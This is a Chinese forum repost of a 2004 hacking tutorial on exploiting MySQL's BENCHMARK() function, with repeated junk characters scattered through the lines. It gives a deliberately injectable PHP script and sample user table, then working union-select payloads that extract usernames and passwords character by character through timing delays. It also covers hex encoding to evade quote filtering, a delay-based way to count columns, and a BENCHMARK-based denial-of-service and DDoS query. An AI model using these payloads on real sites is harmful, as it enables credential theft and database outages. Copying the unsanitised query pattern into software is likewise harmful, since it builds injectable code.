找回密码
 立即注册
查看: 2821|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
& ~5 @7 X# H7 N$ w( M本文作者:SuperHei
" a( ?. \! K7 c- w文章性质:原创
) _& b. |! R6 O4 x发布日期:2005-01-02/ O4 R4 g" G8 ~2 s2 o/ t
完成日期:2004-07-09 7 F) h) S! m; q% W# [0 l3 ~, Z
第一部: ^, l& e/ W* c  p
; z2 g, X) c% \3 O* W
利用时间推延进行注射---BENCHMARK函数在注射中的利用 " W/ r" {/ k5 k5 M7 ]
- `8 s3 p& Z' N) L! w5 z
一.前言/思路
- ?7 I/ C& m; O3 M# L- Q3 u6 Z% w$ l, {
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
! z- r, a' a* r' z7 ]1 H$ \0 F
+ X; @9 Z8 |. `0 f  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
! H1 C8 ?2 s3 g- \/ K
6 h1 _* L& H1 e) ]" _& j二.关于BENCHMARK函数$ E" o5 S+ m0 y/ O: S4 w: H

: u- j" {& e) O6 B8 R; c' g: V: ?  在MySQL参考手册里可以看到如下描叙:
1 x' E3 I1 L. X  e( ]/ E1 J1 M) Q8 F  P. y+ {- f: t! I

9 p: t, _9 x; ]--------------------------------------------------------------------------------
8 V3 f* a; T" e# G. g- v6 `( }( V4 C+ {8 \
BENCHMARK(count,expr)
- S) b. X  q0 t2 D) x) r6 ~6 HBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 9 f- c/ c) j8 R" w/ L( a! @
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
- L5 X" x3 w3 T4 r8 B1 @1 `+----------------------------------------------+ 1 K3 d" M) w0 M8 m5 B) c4 Y+ a6 B
| BENCHMARK(1000000,encode("hello","goodbye")) |
- i. T( l" {) j' ]1 D+----------------------------------------------+
; G7 q) N- V0 t  e: [/ U! d8 }| 0 | 0 b  ]' K4 M7 a1 m! W0 `
+----------------------------------------------+
4 [% b" k% t  m8 ~: I: k1 row in set (4.74 sec)
0 L! b" i) b% R3 H
& Z' L1 u6 O% o8 n报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。. l2 h( `  D+ Q9 r) ^' ]3 l
  y8 `( G% Z+ |/ f6 ~
8 u5 d! [5 T+ Y# s
--------------------------------------------------------------------------------
3 z" k" s9 x  j( I' w( v
3 ~# G. Y8 q! |. e2 J2 {  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: % x+ a& s2 N( \* p, g, o% H) C
) A" ]& I; O: h/ [3 E, D6 i
mysql> select md5( 'test' ); 4 v+ _# E  n& u! M4 o
+----------------------------------+
2 y& T4 S& _; a% E, p| md5( 'test' ) | $ E! V/ y( Y5 X$ X2 u: h% o
+----------------------------------+
+ P8 [+ }3 f6 N0 T| 098f6bcd4621d373cade4e832627b4f6 |
8 f+ K- K8 F) j5 f% G+----------------------------------+ ) z7 o, `8 A( X# S+ l3 b& F3 [
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec * ~* w$ S! f) \) ]

$ Y: W  ?2 s4 I% g4 {mysql> select benchmark( 500000, md5( 'test' ) ); : N& \9 W" Y7 h  x1 O# O9 D
+------------------------------------+
5 C2 E$ o0 t* O' G8 o| benchmark( 500000, md5( 'test' ) ) |
1 p/ f0 _5 ]* s2 `5 N+------------------------------------+ 7 d7 R- X$ X$ Z, _: m- Q3 O2 p
| 0 | : h. e1 q  l+ Q
+------------------------------------+ 3 p$ E/ n- [2 n5 M
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec$ j' n8 H1 f5 r) f+ f# T2 ?

' O# g+ K4 p2 X7 t& Z. z9 ]) Z. D" ~' h2 P: ]
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
5 g8 y, D9 e7 `. U5 n: y7 c+ ?9 O5 U: L" ]
三.具体例子& Z6 A" ]% U" K
. X/ }6 _* n3 ]0 E" K" t+ u
  首先我们看个简单的php代码:4 I3 U# A4 T- G0 A) M$ T2 ~: Z

+ n# ~: L* C: }; K$ E< ?php
9 k5 Y2 R0 \! a# W) r$servername = "localhost";
, Y- \, h# T9 q1 p) M6 t$dbusername = "root";   j! ^' g1 d% i) h: K
$dbpassword = "";
; m2 U; O0 o) b- S6 k4 `- H$dbname = "injection";
( _  d: d9 \9 z: a6 A% H! G2 q) e* p, _
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ' L" x' h# V0 x) E2 S' H" u

% {* h6 q7 n) R' L! f3 C6 N$sql = "SELECT * FROM article WHERE articleid=$id";
  O" B. M' `. d* J9 M  U& Y0 c$result = mysql_db_query($dbname,$sql);
- d% ]: u% a/ x% [; a) ]* j$row = mysql_fetch_array($result);
2 E+ m  }4 ]/ V+ a) N1 H3 {$ `" L$ b
0 {+ z* ~5 Z1 W: Tif (!$row) . b1 d% [8 ]* S: B0 k
{ $ t! p5 F, g7 L- o7 w
exit; ( Q5 A' B: Z. u, Z/ O# s  d$ c
}
( N5 H0 g& ~) I4 ?0 V% Y?>
  m8 z, F- }$ v" h 1 Q9 v9 h3 z$ G. Q4 z2 ~+ O* N. t

2 p. A4 m9 Z$ ^& e  Q( [  数据库injection结构和内容如下:7 P4 t" x! L0 z' b- a# {

  N& [' f! \  q# 数据库 : `injection` ) X. d, B- a  i, v3 c
#
, Q, A0 c& g2 Q# j
! U' a3 S. c0 Z. F" Q# --------------------------------------------------------
4 L& N  ^% d4 i
, l/ _  Y8 p4 B9 `: \: D$ p# , C, q6 C) ~6 V* \- R: |# w9 k( \% I
# 表的结构 `article` 5 R5 S1 Q0 P1 P
# - o3 m+ Q5 q4 l( ^8 E
" Z9 ^# L6 X! E: m! L0 L( ]
CREATE TABLE `article` (
# p5 V0 l0 s) a4 B`articleid` int(11) NOT NULL auto_increment,
* \7 Z; b8 }/ X9 Z- M`title` varchar(100) NOT NULL default '',
: n% L6 r) s" \+ @; t7 U`content` text NOT NULL, 4 S4 l% b6 X. P# i2 m, g4 H- Y5 C
PRIMARY KEY (`articleid`) $ @. h" }$ H3 }
) TYPE=MyISAM AUTO_INCREMENT=3 ; ! ?  R* t% J. A7 Y  R3 B9 i
& p6 ]' Q1 E4 _" d$ |
#
' o) [+ k" ~5 F( b) h8 |; [2 z# 导出表中的数据 `article`
$ _8 f# G' H$ M9 l#
5 q$ W* @' }) m6 m& u; U8 H# _* k- A: e8 L  F( s* W
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
8 e/ m. S! r/ M2 C- q6 rINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
) b5 R6 Q) y; {, c2 f: h
6 w% b2 Q! Q! W2 ~, Y# --------------------------------------------------------
: G% g3 P5 R; E' p, Z+ e
, d! b; ~/ c; @# : d/ _& b4 B: s' {. P$ N0 M5 S
# 表的结构 `user`
, Z. O1 G( x4 V4 N# # \) N# a8 P/ @. Q) v
* i  k! C' x% m: i. J- K
CREATE TABLE `user` ( 3 ^% G. Q. n2 c1 ~
`userid` int(11) NOT NULL auto_increment, 0 ]- C# q6 M0 k5 E& S) e
`username` varchar(20) NOT NULL default '',
% b( T& M% ]" b$ |) {: C`password` varchar(20) NOT NULL default '',
/ c- }) C) l% T' @( O' |5 |PRIMARY KEY (`userid`) 4 W. n$ j; q  }2 @" Y8 G
) TYPE=MyISAM AUTO_INCREMENT=3 ;
: ]! G0 j% g9 C6 p  [1 \* T2 M+ l  U4 U
+ O+ w- ?3 I! F; Y  }# " u( c) ]0 |8 e3 u& s
# 导出表中的数据 `user` # |$ \& p8 c- E0 k  j* d
#
+ b2 v6 z" I, [% J; F& g6 I0 W9 N
+ N0 F7 u5 ?7 u2 t" h4 e, e2 RINSERT INTO `user` VALUES (1, 'angel', 'mypass');
' ?; a9 h& J0 Z% AINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');/ [, l7 ^+ v  j
: e. Y  V( K! }$ P; Z1 [, x

7 ]+ S- x0 e$ W  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
  I2 _: c8 @  V% e, a, l( `+ M6 [7 y# ]( h
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
" x( A9 G) p) l1 J5 u , b: L/ g5 w. z8 [* j# [' y( r" B7 A( H

7 Y# d* E  P  {" b  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:$ A8 X+ L% V# i4 o6 |
# A2 h% A  `& n
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
% [5 M* Y; f2 m2 z0 T- m
0 A" Z  d& q6 i5 L9 e8 w2 T, l9 f! B$ v* O
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 : N; U- P& c7 q

8 S  k3 m4 I# K  J7 T# _  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 2 J" S5 Y+ w8 N% o
+ T9 d% i, P2 d7 o: @
第二部: I1 Y3 f) [, H) T. u9 ~8 Q

$ |3 Y4 a% U2 I9 v4 _- ~( Z1 O) H利用BENCHMARK函数进行ddos攻击
+ P) N4 j  E; ], i/ A+ `. [/ Y0 B; R2 m
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:% f0 }8 d5 ~  c! ^4 z+ B

, K. L% }3 s" q7 w2 }/ v; H. A& qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))8 i" W6 D; C3 w
" `9 [" D( b$ @

% m1 {+ p+ e! L/ m& z/ O小结2 ~- ?6 K9 ?2 ^" N  [8 D  h2 ~

: o9 z7 }  x/ R! \; x3 H) }$ i  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。, b* v9 ^$ p- M0 n0 i
! f) r4 x0 r, B; h5 ~, I. p/ o4 [
  # W# j; U6 H9 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表